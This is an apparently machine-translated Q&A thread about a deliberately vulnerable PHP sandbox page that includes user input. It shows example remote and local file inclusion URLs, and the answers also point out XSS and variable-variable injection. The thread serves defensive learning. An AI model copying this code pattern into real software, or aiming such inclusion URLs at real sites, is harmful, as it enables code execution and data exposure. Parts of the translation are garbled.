捍卫漏洞利用
我已经设置了一个沙盒并尝试运行漏洞,这样我可以更好地理解如何更好地防御它们。当我运行以下程序时,程序失败,因为它应该和正确的原因。但是我不确定,因为我找不到很多“如何写出正确的漏洞”。这里是我的代码,以下是失败的消息。任何指导都会很棒。捍卫漏洞利用
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
开拓脚本,简单的东西:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
坏人会硬编码在浏览器地址栏中输入以下内容:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
尝试加载地址时,输出到浏览器:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
它是这样吗?还是有其他技术我应该寻找?
谢谢
它看起来像是所讨论的漏洞是执行任意脚本。由于一些php.ini设置的原因,该脚本不易受远程脚本的任意执行的影响 - 但它容易受到任意执行本地脚本的影响。
远程脚本
默认情况下,allow_url_include
php.ini指令设置为0
的任意处决 - 阻止你,包括远程文件,就像这样:
include("http://www.remoteserv.com/exploit.php");
...或同等像这样:
$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);
见Runtime Configurations - Filesystem and Streams Configuration Options和Using remote scripts上php.net获取更多信息。
从技术上讲,您仍然容易受到攻击,因为用户可以提供导致错误的输入 - 实际上您应该清理该输入 - 但是您不容易受到远程脚本的任意执行的影响。本地脚本
但php.ini指令,没有保护你的本地脚本执行的
任意处决。攻击者可以使用一个URL,如...
http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php
...该文件将被包括在内。它可能是一个非PHP文件(导致错误),或者它可能是攻击者在您的服务器上放置的文件 - 可以通过文件上传或通过Shared Hosting Environment。
如需进一步阅读,chapter 5 of the book Essential PHP Security完全专注于include的安全性。
其他
您是也容易XSS:
echo $key;
当输出$key
- 这是输入 - 你应该编码以某种方式输出,可能使用htmlentities(...)
。
您还操纵利用使用输入变量:
${$key} = $value;
...这是一个坏主意。
感谢您的回答,XSS看起来像下一站。 – rwhite35
你的答案只适用于远程文件包含;仍然存在Local-File-Inclusion的脆弱性。本地文件可以被读入并用include()输出;要执行任意代码,攻击者可以访问http://site.com/ newfurniturey
@newfurniturey - 这是一个很好的观点。我应该编辑我的答案来达到这个效果吗?还是你想把它作为一个单独的答案发布? –
你想做什么?如果你想写一个带有安全漏洞的脚本,那么即使你不积极尝试这样做,也很容易做到。如果你的问题是“PHP中是否存在其他漏洞利用”,那么问题就太广泛了。 – NullUserException
只有一种技术。验证* ALL *输入,不要相信任何变量,因为你永远不知道攻击来自哪里。 – Tchoupi
好吧,但我需要寻找的是什么?我阻止了50%的漏洞吗?其他人(如果有的话)是什么? – rwhite35